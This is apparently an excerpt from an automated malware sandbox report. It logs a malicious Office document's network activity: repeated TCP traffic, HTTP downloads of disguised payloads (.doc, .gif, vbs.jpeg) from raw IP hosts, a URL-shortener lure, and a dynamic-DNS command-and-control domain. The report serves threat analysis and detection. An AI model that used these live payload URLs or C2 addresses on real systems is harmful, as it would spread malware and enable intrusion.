                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166

                Networking

                barindex
                C2 URLs / IPs found in malware configuration
                Source: Malware configuration extractorURLs: tochisglobal.ddns.net
                Uses dynamic DNS services
                Source: unknownDNS query: name: tochisglobal.ddns.net
                Source: global trafficTCP traffic: 192.168.2.22:49169 -> 103.253.17.222:6426
                Source: weseethesimplethingsalwaystog.vBS.7.drBinary string: http://schemas.microsoft.com/wbem/wsman/1/config/service><transport>transport</transport><force/></analyze_input> - obfuscation quality: 4
                Source: weseethesimplethingsalwaystog.vBS.7.drBinary string: http://schemas.microsoft.com/wbem/wsman/1/config/service><transport>transport</transport></analyze_input> - obfuscation quality: 4
                Source: weseethesimplethingsalwaystoget[1].gif.7.drBinary string: http://schemas.microsoft.com/wbem/wsman/1/config/service><transport>transport</transport><force/></analyze_input> - obfuscation quality: 4
                Source: weseethesimplethingsalwaystoget[1].gif.7.drBinary string: http://schemas.microsoft.com/wbem/wsman/1/config/service><transport>transport</transport></analyze_input> - obfuscation quality: 4
                Source: global trafficHTTP traffic detected: GET /Upload/vbs.jpeg HTTP/1.1Host: 198.46.176.133Connection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /47/BEN.txt HTTP/1.1Host: 172.245.123.11Connection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache
                Source: Joe Sandbox ViewIP Address: 188.114.97.3 188.114.97.3
                Source: Joe Sandbox ViewIP Address: 188.114.97.3 188.114.97.3
                Source: Joe Sandbox ViewIP Address: 188.114.96.3 188.114.96.3
                Source: Joe Sandbox ViewIP Address: 188.114.96.3 188.114.96.3
                Source: Joe Sandbox ViewASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
                Source: Joe Sandbox ViewASN Name: WIFIKU-AS-IDPTWifikuIndonesiaID WIFIKU-AS-IDPTWifikuIndonesiaID
                Source: global trafficHTTP traffic detected: GET /Zfp4WP HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: tny.wtfConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /47/eg/seethedrinkingwatereverythweretoundesandhowmuchgreatrainingisgoingeverywerenobodyunderstandthegreat_______newgirlfrndsheismygirl.doc HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 172.245.123.11Connection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /47/weseethesimplethingsalwaystoget.gIF HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 172.245.123.11Connection: Keep-Alive
                Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.11
                Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.11
                Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.11
                Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.11
                Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.11
                Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.11
                Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.11
                Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.11
                Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.11
                Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.11
                Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.11
                Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.11
                Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.11
                Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.11
                Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.11
                Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.11
                Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.11
                Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.11
                Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.11
                Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.11
                Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.11
                Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.11
                Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.11
                Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.11
                Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.11
                Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.11
                Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.11
                Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.11
                Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.11
                Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.11
                Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.11
                Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.11
                Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.11
                Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.11
                Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.11
                Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.11
                Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.11
                Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.11
                Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.11
                Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.11
                Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.11
                Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.11
                Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.11
                Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.11
                Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.11
                Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.11
                Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.11
                Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.11
                Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.11
                Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.11
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0041B380 InternetOpenW,InternetOpenUrlW,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,12_2_0041B380
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\AE4145EA.emfJump to behavior
                Source: global trafficHTTP traffic detected: GET /Zfp4WP HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: tny.wtfConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /47/eg/seethedrinkingwatereverythweretoundesandhowmuchgreatrainingisgoingeverywerenobodyunderstandthegreat_______newgirlfrndsheismygirl.doc HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 172.245.123.11Connection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /47/weseethesimplethingsalwaystoget.gIF HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 172.245.123.11Connection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /Upload/vbs.jpeg HTTP/1.1Host: 198.46.176.133Connection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /47/BEN.txt HTTP/1.1Host: 172.245.123.11Connection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache
                Source: global trafficDNS traffic detected: DNS query: tny.wtf
                Source: global trafficDNS traffic detected: DNS query: tochisglobal.ddns.net
                Source: global trafficDNS traffic detected: DNS query: geoplugin.net
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 29 Jul 2024 13:22:18 GMTTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: ASP.NETCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xqD7gsEPaWq83khApKXdRluBQlxzlMOQnlaLysJ64HkWt7rikhdbOazWjN44uWHRN3bmsWVpGdPGM5xIrjLfkxNJ0c4lYqgsX7%2BPg6sQ7e7%2F8MTcbrJ6XRmh"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8aad6abfff9541e3-EWRalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 29 Jul 2024 13:22:19 GMTTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: ASP.NETCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9HfveCmmD5TbgYsmr61t2erkj9T6LyYChjatMY7CpxJEdFkS9UWAjCHj5AhBICZBZMBn%2Bbwm1UEA0z16z92hig2eohTDbuJmJmBC0GpUGlEp1TJDm15zoOKn"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8aad6ac6def141e3-EWRalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 29 Jul 2024 13:22:19 GMTTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: ASP.NETCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=C%2BYYOBvlJ7sMg5DMC7opinft04WXa3ZMtwln6yKCzvSusnPoPRBqpFbS1HOF2%2BBc%2BT3lyXwueoQ7pEZ%2Foh%2BvGdRiWp27vd7510qNaczb2WJUIzTcv8GlpYPW"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8aad6ac7d83c41e3-EWRalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
